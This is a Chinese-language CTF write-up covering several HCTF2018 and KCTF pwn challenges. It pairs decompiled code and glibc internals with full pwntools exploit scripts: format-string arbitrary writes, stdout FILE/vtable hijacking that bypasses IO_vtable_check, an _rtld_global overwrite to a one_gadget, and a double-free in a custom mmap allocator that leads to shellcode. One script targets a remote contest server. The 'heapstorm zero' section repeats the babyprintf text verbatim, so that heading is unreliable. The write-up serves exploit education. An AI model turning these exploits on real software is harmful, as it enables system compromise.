mov     edx, 1000h      
mov esi, offset buf
mov edi, 0
call read

这里比较巧妙的是栈上有printf返回值的地址。所以这里又可以控制printf的返回值。制造了一个循环read & printf的场景。接下来是就在bss上布局,再用一个gadget把栈切到bss上。

bss段上又有stderr,stdout,stdin指向libc的内存空间上。我们可以选择其中一个将其变成one_gadget.这里需要用到一个特殊gadget

1
.text:00000000004006E8                 adc     [rbp+48h], edx

整个过程用还是用libc_csu_init通用链来控制流程,exp如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
from pwn import *

debug=1

context.log_level='debug'

if debug:
p=process('./unprintable')
#p=process('',env={'LD_PRELOAD':'./libc.so'})
else:
pass

def ru(x):
return p.recvuntil(x)

def se(x):
p.send(x)

def sl(x):
p.sendline(x)

def wait(x=True):
#raw_input()
sleep(0.3)

def write_addr(addr,sz=6):
t = (stack+0x40)%0x100
v = p64(addr)
for i in range(sz):
if t+i != 0:
se('%'+str(t+i)+'c%18$hhn%'+str(1955-t-i)+'c%23$hn\x00')
else:
se('%18$hhn%1955c%23$hn')
wait()
tv = ord(v[i])
if tv != 0:
se('%'+str(tv)+'c%13$hhn%'+str(1955-tv)+'c%23$hn\x00')
else:
se('%13$hhn%1955c%23$hn')
wait()

def write_value(addr,value,addr_sz=6):
write_addr(addr,addr_sz)
se('%'+str(ord(value[0]))+'c%14$hhn%'+str(1955-ord(value[0]))+'c%23$hn\x00')
wait()
ta = p64(addr)[1]
for i in range(1,len(value)):
tmp = p64(addr+i)[1]
if ta!=tmp:
write_addr(addr+i,2)
ta = tmp
else:
write_addr(addr+i,1)
if ord(value[i]) !=0:
se('%'+str(ord(value[i]))+'c%14$hhn%'+str(1955-ord(value[i]))+'c%23$hn\x00')
else:
se('%14$hhn%1955c%23$hn\x00')
wait()

buf = 0x601060+0x100+4

ru('This is your gift: ')
stack = int(ru('\n'),16)-0x118

if stack%0x10000 > 0x2000:
p.close()
exit()

#ret_addr = stack - 0xe8

se('%'+str(buf-0x600DD8)+'c%26$hn'.ljust(0x100,'\x00')+p64(0x4007A3))
wait()

#tmp = (stack+0x40)%0x10000

#se('%c'*16+'%'+str(tmp-16)+'c%hn%'+str((163-(tmp%0x100)+0x100)%0x100)+'c%23$hhn\x00')
se('%163c%23$hhn\x00')
wait()

if debug:
gdb.attach(p)

raw_input()

rop = 0x601060+0x200

write_value(stack,p64(rop)[:6])

context.arch = 'amd64'

prbp = 0x400690
prsp = 0x40082d
adc = 0x4006E8
arsp = 0x0400848
prbx = 0x40082A
call = 0x400810
stderr = 0x601040

payload = p64(arsp)*3
payload += flat(prbx,0,stderr-0x48,rop,0xFFD2BC07,0,0,call)
payload += flat(adc,0,prbx,0,0,stderr,0,0,0,0x400819)

se(('%'+str(0x82d)+'c%23$hn').ljust(0x200,'\0')+payload)

print(hex(stack))

p.interactive()

HCTF2018-babyprint

point

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
v3 = *(_QWORD *)&stdout[1]._flags;
while ( 1 )
{
v6 = 0;
while ( 1 )
{
read(0, &buf, 1uLL);
buffer[v6] = buf;
if ( buffer[v6] == 10 )
break;
if ( ++v6 > 511 )
goto LABEL_6;
}
buffer[v6] = 0;
LABEL_6:
v4 = stdout;
if ( *(_QWORD *)&stdout[1]._flags != v3 )
{
write(1, "rewrite vtable is not permitted!\n", 0x21uLL);
*(_QWORD *)&v4[1]._flags = v3;
}
__printf_chk(1LL, buffer, 3735928559LL);
}

很显然格式化漏洞,但是这个地方用的是printf_chk, 无法用来写,只能用来leak。但是这里写buffer是可以覆盖stdout的,所以可以用stdout来写。这里做了一个check保证vtable不会被劫持。但是这里并没有用,我们来分析分析这里为什么没有用。 _printf_chk 会调用_IO_vfprintf_internal,这个函数再进行格式化输出的时候,会用%来分割format。比如第一个%之前的字符串,肯定是原样输出,当然这里碰到\x00,也是会造成截断的。那么先把这条字符串输出。输出时调用_IO_new_file_xsputn

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
_IO_size_t
_IO_new_file_xsputn (_IO_FILE *f, const void *data, _IO_size_t n)
{
const char *s = (const char *) data;
_IO_size_t to_do = n;
int must_flush = 0;
_IO_size_t count = 0;

if (n <= 0)
return 0;

if ((f->_flags & _IO_LINE_BUF) && (f->_flags & _IO_CURRENTLY_PUTTING))
{
...
}
else if (f->_IO_write_end > f->_IO_write_ptr)
count = f->_IO_write_end - f->_IO_write_ptr; //这里如果输出缓存存在的话,先把输出缓冲填满。

if (count > 0)
{
if (count > to_do)
count = to_do;
f->_IO_write_ptr = __mempcpy (f->_IO_write_ptr, s, count);
//这里我们是可以位置stdout来达到任意写的
s += count;
to_do -= count;
}
if (to_do + must_flush > 0) //must_flush可以不用管。需要携带相应的flag和输出字符中要存在\n
{ //默认mush_flush为零,那么这里如果to_do>0,就会刷新输出缓冲
//所以这里我们在上面那一步直接覆盖vtable
//这里只需要输出的字符串长度是大于输出缓冲区的情况下,就会刷新缓冲
//所以前面check vtable其实是没有用的。在这步之前需要把bypass iO_vtable_check的准备工作做好。
_IO_size_t block_size, do_write;
/* Next flush the (full) buffer. */
if (_IO_OVERFLOW (f, EOF) == EOF)

所以这道题的整体上就是用printf_chk leak,然后就是写vtable,控制程序流。下面直接看exp,这些通过写fs:[30]来bypass IO_vtable_check的可以看看我前面写那篇文章。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
from pwn_debug import *
context.log_level='debug'

pwdg=pwn_debug("babyprintf")

pwdg.context.terminal=['tmux', 'splitw', '-h']


pwdg.debug('2.27')


p=pwdg.run("debug")

libc = pwdg.libc

raw_input('a')
p.recvuntil('location to ')
binary=p.recvuntil('\n')[:-1]

buff=int(binary,16)
data=buff-0x10
success('data {}'.format(hex(data)))
p.recvuntil('!\n')
stdout_offset=buff+0x100
fake_stdout=p64(0xfbad2284|0x8000)
fake_stdout+=p64(stdout_offset+116)*3
fake_stdout+=p64(stdout_offset+116)*2
fake_stdout+=p64(stdout_offset+116+6)
fake_stdout=fake_stdout.ljust(112,'\x00')
fake_stdout+=p32(1)
fake_stdout=fake_stdout.ljust(0xd0,'\x00')
fake_stdout+=p64(buff);

fmt_s="xxxx%72$p"
poc1=fmt_s.ljust(0x10,'\x00')+p64(stdout_offset)
poc1=poc1.ljust(0x100,'\x00')
poc1+=fake_stdout
p.sendline(poc1)
p.recvuntil('\n')
libc_addr=int('0x'+p.recv(12),16) - libc.symbols['__libc_start_main'] - 238 # leak libc_base
#43:0x7ffc54238e48 -> 0x7f30f3521b8e (__libc_start_main+238) mov edi, eax

success('libc {}'.format(hex(libc_addr))) #
raw_input('a')
fmt_s="xxxx%74$p"

poc1=fmt_s.ljust(0x10,'\x00')+p64(stdout_offset)
poc1=poc1.ljust(0x100,'\x00')
poc1+=fake_stdout
p.sendline(poc1)
p.recvuntil('\n')
stack_addr=int('0x'+p.recv(12),16)
success('stack {}'.format(hex(stack_addr)))

raw_input('a')
io_check=libc_addr+libc.symbols['_IO_vtable_check']
sh=libc_addr+next(libc.search('/bin/sh'))
system=libc_addr+libc.symbols['system']
def write_to(addr,val):
fmt_s=val
fake_stdout=p64(0xfbad2284|0x8000)
fake_stdout+=p64(addr)*5
fake_stdout+=p64(addr+8)
fake_stdout=fake_stdout.ljust(112,'\x00')
fake_stdout+=p32(1)
fake_stdout=fake_stdout.ljust(0xd8,'\x00')
fake_stdout+=p64(buff);
poc1=fmt_s.ljust(0x10,'\x00')+p64(stdout_offset)
poc1=poc1.ljust(0x100,'\x00')
poc1+=fake_stdout
poc1+=p64(0xdeadbeef)*3
p.sendline(poc1)
p.recvuntil('\n')

def rol(x,off):
return ((x << off) | (x >> (64-off)))&0xffffffffffffffff

#0x7ffc54238e58 -> 0x7ffc54238f28 -> 0x7ffc54239fac <- '/tmp/babyprintf'

write_to(stack_addr,p64(libc_addr+0x3AF008+1)) # libc -> link_map
#0x7ffc54238f28 -> 0x7ffc54239fac <- '/tmp/babyprintf'

fmt_s="xxxxxx%%%d$s"%(74+0xd0/8)
poc1=fmt_s.ljust(0x10,'\x00')+p64(stdout_offset)
poc1=poc1.ljust(0x100,'\x00')
poc1+=fake_stdout
p.sendline(poc1)
p.recvuntil('\n')
tls_addr=u64('\x00'+p.recv(5)+'\x00\x00')
success('tls {}'.format(hex(tls_addr)))

write_to(tls_addr+0x1570,'a'*8) #fs:0x30
write_to(libc_addr+libc.symbols['IO_accept_foreign_vtables'],p64(rol((io_check)^u64('a'*8),17)))
fmt_s=p64(stdout_offset+0xd8)[:-2]+'aa'
fake_stdout=p32(0xfbad2284|0x8000)+';sh\x00' # check default_io_flag
fake_stdout+=p64(stdout_offset+0xd8)*3
fake_stdout+=p64(stdout_offset+0xd8)*2
fake_stdout+=p64(stdout_offset+0xd8+6)
fake_stdout=fake_stdout.ljust(112,'\x00')
fake_stdout+=p32(1)
fake_stdout=fake_stdout.ljust(0xd8,'\x00')
fake_stdout+=p64(buff);
poc1=fmt_s.ljust(0x10,'\x00')+p64(stdout_offset)
poc1=poc1.ljust(0x100,'\x00')
poc1+=fake_stdout
poc1+=p64(system)*3
assert len(poc1) < 0x200
raw_input('aaaaaaaaaaaaaaaaaaaaaaaaa')
p.sendline(poc1)
p.recvuntil('\n')

p.interactive()

HCTF2018-heapstorm zero

point

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
v3 = *(_QWORD *)&stdout[1]._flags;
while ( 1 )
{
v6 = 0;
while ( 1 )
{
read(0, &buf, 1uLL);
buffer[v6] = buf;
if ( buffer[v6] == 10 )
break;
if ( ++v6 > 511 )
goto LABEL_6;
}
buffer[v6] = 0;
LABEL_6:
v4 = stdout;
if ( *(_QWORD *)&stdout[1]._flags != v3 )
{
write(1, "rewrite vtable is not permitted!\n", 0x21uLL);
*(_QWORD *)&v4[1]._flags = v3;
}
__printf_chk(1LL, buffer, 3735928559LL);
}

很显然格式化漏洞,但是这个地方用的是printf_chk, 无法用来写,只能用来leak。但是这里写buffer是可以覆盖stdout的,所以可以用stdout来写。这里做了一个check保证vtable不会被劫持。但是这里并没有用,我们来分析分析这里为什么没有用。 _printf_chk 会调用_IO_vfprintf_internal,这个函数再进行格式化输出的时候,会用%来分割format。比如第一个%之前的字符串,肯定是原样输出,当然这里碰到\x00,也是会造成截断的。那么先把这条字符串输出。输出时调用_IO_new_file_xsputn

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
_IO_size_t
_IO_new_file_xsputn (_IO_FILE *f, const void *data, _IO_size_t n)
{
const char *s = (const char *) data;
_IO_size_t to_do = n;
int must_flush = 0;
_IO_size_t count = 0;

if (n <= 0)
return 0;

if ((f->_flags & _IO_LINE_BUF) && (f->_flags & _IO_CURRENTLY_PUTTING))
{
...
}
else if (f->_IO_write_end > f->_IO_write_ptr)
count = f->_IO_write_end - f->_IO_write_ptr; //这里如果输出缓存存在的话,先把输出缓冲填满。

if (count > 0)
{
if (count > to_do)
count = to_do;
f->_IO_write_ptr = __mempcpy (f->_IO_write_ptr, s, count);
//这里我们是可以位置stdout来达到任意写的
s += count;
to_do -= count;
}
if (to_do + must_flush > 0) //must_flush可以不用管。需要携带相应的flag和输出字符中要存在\n
{ //默认mush_flush为零,那么这里如果to_do>0,就会刷新输出缓冲
//所以这里我们在上面那一步直接覆盖vtable
//这里只需要输出的字符串长度是大于输出缓冲区的情况下,就会刷新缓冲
//所以前面check vtable其实是没有用的。在这步之前需要把bypass iO_vtable_check的准备工作做好。
_IO_size_t block_size, do_write;
/* Next flush the (full) buffer. */
if (_IO_OVERFLOW (f, EOF) == EOF)

所以这道题的整体上就是用printf_chk leak,然后就是写vtable,控制程序流。下面直接看exp,这些通过写fs:[30]来bypass IO_vtable_check的可以看看我前面写那篇文章。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
from pwn_debug import *
context.log_level='debug'

pwdg=pwn_debug("babyprintf")

pwdg.context.terminal=['tmux', 'splitw', '-h']


pwdg.debug('2.27')


p=pwdg.run("debug")

libc = pwdg.libc

raw_input('a')
p.recvuntil('location to ')
binary=p.recvuntil('\n')[:-1]

buff=int(binary,16)
data=buff-0x10
success('data {}'.format(hex(data)))
p.recvuntil('!\n')
stdout_offset=buff+0x100
fake_stdout=p64(0xfbad2284|0x8000)
fake_stdout+=p64(stdout_offset+116)*3
fake_stdout+=p64(stdout_offset+116)*2
fake_stdout+=p64(stdout_offset+116+6)
fake_stdout=fake_stdout.ljust(112,'\x00')
fake_stdout+=p32(1)
fake_stdout=fake_stdout.ljust(0xd0,'\x00')
fake_stdout+=p64(buff);

fmt_s="xxxx%72$p"
poc1=fmt_s.ljust(0x10,'\x00')+p64(stdout_offset)
poc1=poc1.ljust(0x100,'\x00')
poc1+=fake_stdout
p.sendline(poc1)
p.recvuntil('\n')
libc_addr=int('0x'+p.recv(12),16) - libc.symbols['__libc_start_main'] - 238 # leak libc_base
#43:0x7ffc54238e48 -> 0x7f30f3521b8e (__libc_start_main+238) mov edi, eax

success('libc {}'.format(hex(libc_addr))) #
raw_input('a')
fmt_s="xxxx%74$p"

poc1=fmt_s.ljust(0x10,'\x00')+p64(stdout_offset)
poc1=poc1.ljust(0x100,'\x00')
poc1+=fake_stdout
p.sendline(poc1)
p.recvuntil('\n')
stack_addr=int('0x'+p.recv(12),16)
success('stack {}'.format(hex(stack_addr)))

raw_input('a')
io_check=libc_addr+libc.symbols['_IO_vtable_check']
sh=libc_addr+next(libc.search('/bin/sh'))
system=libc_addr+libc.symbols['system']
def write_to(addr,val):
fmt_s=val
fake_stdout=p64(0xfbad2284|0x8000)
fake_stdout+=p64(addr)*5
fake_stdout+=p64(addr+8)
fake_stdout=fake_stdout.ljust(112,'\x00')
fake_stdout+=p32(1)
fake_stdout=fake_stdout.ljust(0xd8,'\x00')
fake_stdout+=p64(buff);
poc1=fmt_s.ljust(0x10,'\x00')+p64(stdout_offset)
poc1=poc1.ljust(0x100,'\x00')
poc1+=fake_stdout
poc1+=p64(0xdeadbeef)*3
p.sendline(poc1)
p.recvuntil('\n')

def rol(x,off):
return ((x << off) | (x >> (64-off)))&0xffffffffffffffff

#0x7ffc54238e58 -> 0x7ffc54238f28 -> 0x7ffc54239fac <- '/tmp/babyprintf'

write_to(stack_addr,p64(libc_addr+0x3AF008+1)) # libc -> link_map
#0x7ffc54238f28 -> 0x7ffc54239fac <- '/tmp/babyprintf'

fmt_s="xxxxxx%%%d$s"%(74+0xd0/8)
poc1=fmt_s.ljust(0x10,'\x00')+p64(stdout_offset)
poc1=poc1.ljust(0x100,'\x00')
poc1+=fake_stdout
p.sendline(poc1)
p.recvuntil('\n')
tls_addr=u64('\x00'+p.recv(5)+'\x00\x00')
success('tls {}'.format(hex(tls_addr)))

write_to(tls_addr+0x1570,'a'*8) #fs:0x30
write_to(libc_addr+libc.symbols['IO_accept_foreign_vtables'],p64(rol((io_check)^u64('a'*8),17)))
fmt_s=p64(stdout_offset+0xd8)[:-2]+'aa'
fake_stdout=p32(0xfbad2284|0x8000)+';sh\x00' # check default_io_flag
fake_stdout+=p64(stdout_offset+0xd8)*3
fake_stdout+=p64(stdout_offset+0xd8)*2
fake_stdout+=p64(stdout_offset+0xd8+6)
fake_stdout=fake_stdout.ljust(112,'\x00')
fake_stdout+=p32(1)
fake_stdout=fake_stdout.ljust(0xd8,'\x00')
fake_stdout+=p64(buff);
poc1=fmt_s.ljust(0x10,'\x00')+p64(stdout_offset)
poc1=poc1.ljust(0x100,'\x00')
poc1+=fake_stdout
poc1+=p64(system)*3
assert len(poc1) < 0x200
raw_input('aaaaaaaaaaaaaaaaaaaaaaaaa')
p.sendline(poc1)
p.recvuntil('\n')

p.interactive()

HCTF2018-the End

point

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
int __cdecl __noreturn main(int argc, const char **argv, const char **envp)
{
signed int i; // [rsp+4h] [rbp-Ch]
void *buf; // [rsp+8h] [rbp-8h]

sleep(0);
printf("here is a gift %p, good luck ;)\n", &sleep);
fflush(_bss_start);
close(1);
close(2);
for ( i = 0; i <= 4; ++i )
{
read(0, &buf, 8uLL);
read(0, buf, 1uLL);
}
exit(1337);
}

一眼就可以看出来,任意地址写五字节,且紧跟着exit,当前got写不了。所以得看看exit里面有没有地方可以利用来劫持控制流的。通常这个地方很容易想到exit的时候会刷新输出缓冲。如果能劫持stdout,就能达到目录。 劫持stdout来达到任意写的状态。且把vtable放到libc的got表上。

这里记录一种其他的方法,存在于exit中,exit里面回调用_dl_fini

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
   _dl_fini (void)
{
...
#ifdef SHARED
int do_audit = 0;
again:
#endif
for (Lmid_t ns = GL(dl_nns) - 1; ns >= 0; --ns)
{
/* Protect against concurrent loads and unloads. */
__rtld_lock_lock_recursive (GL(dl_load_lock));

unsigned int nloaded = GL(dl_ns)[ns]._ns_nloaded;
/* No need to do anything for empty namespaces or those used for
auditing DSOs. */
if (nloaded == 0
...
1
2
3
4
5
6
7
8
   # define __rtld_lock_lock_recursive(NAME) \
GL(dl_rtld_lock_recursive) (&(NAME).mutex)

# if IS_IN (rtld)
# define GL(name) _rtld_local._##name
# else
# define GL(name) _rtld_global._##name
# endif

即直接把__rtld_lock_lock_recursive写成one_gadget即可,exp如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
from pwn import *
p = process('./the_end')
e = ELF('./the_end')
libc = ELF('./libc64.so')
ld = ELF('/lib/x86_64-linux-gnu/ld-2.23.so')


def write_value(addr,value):
p.send(p64(addr))
p.send(p8(value))


p.recvuntil('gift ')
sleep_addr=int(p.recv(14),16)
print "sleep_addr",hex(sleep_addr)

libc_base=sleep_addr-libc.symbols['sleep']
rce=0xf02a4+libc_base

print "rce",hex(rce)

ld_base=libc_base+0x3ca000
_rtld_global=ld_base+ld.symbols['_rtld_global']
addr=_rtld_global+0xf08
print hex(ld_base+ld.symbols['_rtld_global'])
#print *(struct _IO_FILE_plus *) 0x000055a20796d030
write_value(addr,rce&0xff)
write_value(addr+1,(rce>>8)&0xff)
write_value(addr+2,(rce>>16)&0xff)

for i in range(0,2):
p.send(p64(libc_base+libc.symbols['__malloc_hook']))
p.send(p8(0))
#p.sendline('cat flag 1>&0')
p.sendline('exec /bin/sh 1>&0')
p.interactive()

KCTFQ3-bird

这是一个mmap动态分配的题目,也是我第一次见到,人生有很多第一次。这次也不例外;)

看了这道题也很长时间,如果单纯从做题来说的话,其实也没必要。但是还是想看一下具体是怎么作者是怎么分的。用mmap 代替brk来管理内存。mmap也被分成了一个个chunk的块,当然了它并没有有malloc那样复杂的内存管理。

chunk的结构与malloc里面的chunk有一点不太一样,chunk是相对空闲状态的内存来说的。

1
2
3
4
5
6
struct chunk{
uint64 size;
char [SIZE-0x10];
void *next
void *prev
}

你会发现这个chunk稍微有一点点特别,同样是个双向链表,但是prev 和 next在chunk最后面。链表的头是用一个全局变量,这里暂且叫它top。同样chunk块存在动态的释放和申请。从top开始遍历,当内存不足时,用mmap向系统申请。同时top指向这个新的内存页。用prev保存之前的内存页。

top指向内存大于等于需要申请的内存时,也分两种情况剩余内存大于0x18时,则从该内存空间切割出来所需内存即可,同时改变prev->next 和 next->prev的指向,这里空闲状态是发生变化的,所以这里需要改变引用这个chunk的所有指针。

小于0x18时全部全部分配出去。这里为什么是0x18,因为这里申请的内存大小最小是0x10,再加上一个uint size位,而且这里注意到同样有size位的flag,size|1表示改chunk处于使用状态,size|2表示处于连续chunk的中间。我想他这个意思应该是希望来优化内存碎片的。起初我并没有在意这个点。这就是alloc的过程

下面来看free的过程。首先判断size&1确保这是一个使用中的chunk的,free过程出现了分支,如果该chunk处于连续chunk中间即size&2 == 1,则去判断该chunk内存位置上紧靠着的nextchunk是否处于未使用的状态,是的化则进行合并,这里没有合并的话会直接扔到top上,如果产生了合并,改合并的nextchunk必须等于top才会把合并之后的chunk扔到top上。

这里有一个存在一个小问题,你会发现合并之后的size位上只去掉了flag_2.并没有去掉flag_1.那么这里就是一个double_free。

这个点怎么用呢?如果这里double_free 会有什么效果呢?首先得保证第一次free的时候 size&3 == 0,第一次会向前合并,那么第二次flag_2清掉以后,这里的机制会把释放掉的chunk直接扔到top上,同时old_chunk->prev等于释放的chunk。这里就造成了free_chunk链上存在同时指向相同的位置chunk。这里造成了

old_chunk == the chunk to be free (the chunk to be free) -> next=the chunk to be free

我们的目标可能是想通过这个机制看能不能拿到 任意地址的引用。我们得想办法改变next的指向。如果现在alloc(0x30),这就直接可以控制next的指向,这里虽然不能改变next,但能改变next的next。

但是这里利用条件比较苛刻,为什么这样说呢,我们能很容易轻易的控制流程到next->next上,但是呢next->next指向的结构有一定要求,首先size的大小肯定要大于0x30,并且分割以后如果prev 和 next不为NULL,那还要写prev->next 和next -> prev ,这里还要想想写的时候能不能写。一般来看最好的情况就是prev 和 next 都为0。再来想想要拿到什么地址附近的引用呢? got表? 不行,got附近的没有合适的size,都是很大,导致prev和next的寻址会出现问题。malloc_hook 也不存在 这里用的是mmap

结合题意,它给了一个栈上的地址,那么我们能不能拿到相应函数返回值附近的地址引用呢?这个地方我找了好久,一般都是size合适,但对应prev 和 next 都不为NULL,会导致写出问题,但是附近恰好有一个合适的size 0xa00且对应的prev 和 next是NULL,这里我们可以拿到ret的引用的,那么这里怎么getshell呢?rop? NOOOOOOO没必要,这里mmap如果你vmmap话发现是可以执行的,所以直接在mmap上申请一块保存shellcode的chunk,再用ret打过去即可。这里本地成功,远程失败,应该是权限问题。我不知道为什么。由于比赛也还行进行,但是这一份不能用的exp贴出来也没事 :)))))))xi 思路最重要 逃)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
from pwn_debug import  *

ins = pwn_debug('./0xbird1')

ins.debug('2.23')
ins.remote('154.8.174.214',10000)
p = ins.run('remote')



context.log_level = "debug"

def z(text):
gdb.attach(p)
raw_input(text)


def alloc(size):
p.recvuntil('KCTF| ')
p.sendline('A')
p.recvuntil('Size: ')
p.sendline(str(size))

def free(index):
p.recvuntil('KCTF| ')
p.sendline('F')
p.recvuntil('Index: ')
p.sendline(str(index))

def write(index,content):
p.recvuntil('KCTF| ')
p.sendline('W')
p.recvuntil(') ')
heap_addr = p.recv(14)
p.recvuntil('Write addr: ')
p.sendline(str(index))
p.recvuntil('Write value: ')
p.send(content)
return int(heap_addr,16)

def leak_stack():
p.recvuntil('KCTF| ')
p.sendline('N')
p.recvuntil('Here you go: ')
stack = p.recv(14)
return int(stack,16)


ret_address = leak_stack()+0x4+0x8

fake_chunk = ret_address -0x69

#pwndbg> x/4gx 0x7ffced05c778 + 0x7
#0x7ffced05c77f: 0x0000000000000a00 0x0000d0ffffffff00
#0x7ffced05c78f: 0x0000000540131f00 0x007ffced05c7f000


success('ret_address:'+hex(ret_address))
payload = 'a'*8 + 'b'*8 +'c'*8+ 'd'*8 + p64(fake_chunk) + 'f'*8
context.arch = 'amd64'
shellcode = asm(shellcraft.sh())
shellcode = shellcode.ljust(0x100,"\x00")
#print len(shellcode)
alloc(0x100) #1
heap_addr = write(1,shellcode)
alloc(0x10) #2
#z('alloc done')
free(2) #0xfe1
free(2) #0xfe0
#z('')
alloc(0x30) #3

alloc(0xe80)#4
#z('')
write(3,payload)

z('')

alloc(0xd0)#5

rop = 'a'*0x31+p64(heap_addr) # read_ret_address
write(5,rop)
#z('for double free')
p.interactive()